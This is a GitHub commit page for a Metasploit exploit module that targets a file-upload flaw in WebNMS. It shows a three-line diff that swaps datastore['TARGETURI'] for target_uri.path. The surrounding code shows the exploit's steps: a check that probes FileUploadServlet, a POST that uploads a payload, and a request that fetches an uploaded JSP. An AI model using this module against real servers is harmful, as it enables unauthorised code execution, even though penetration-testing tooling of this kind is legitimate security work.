Skip to content

Commit 07e210c

Browse files
author
Pedro Ribeiro
authored
Add changes requested to target.uri
1 parent c93e88f commit 07e210c

File tree

1 file changed

+3
-3
lines changed

1 file changed

+3
-3
lines changed

modules/exploits/multi/http/webnms_file_upload.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -72,7 +72,7 @@ def initialize(info = {})
7272

7373
def check
7474
res = send_request_cgi(
75-
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
75+
'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
7676
'method' => 'GET'
7777
)
7878
if res && res.code == 405
@@ -88,7 +88,7 @@ def upload_payload(payload, is_exploit)
8888
print_status("#{peer} - Uploading payload...")
8989
end
9090
res = send_request_cgi(
91-
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
91+
'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
9292
'method' => 'POST',
9393
'data' => payload.to_s,
9494
'ctype' => 'text/html',
@@ -113,7 +113,7 @@ def pick_target
113113
jsp_name = upload_payload(os_finder_payload, false)
114114

115115
res = send_request_cgi(
116-
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
116+
'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name),
117117
'method' => 'GET'
118118
)
119119

0 commit comments

Comments
 (0)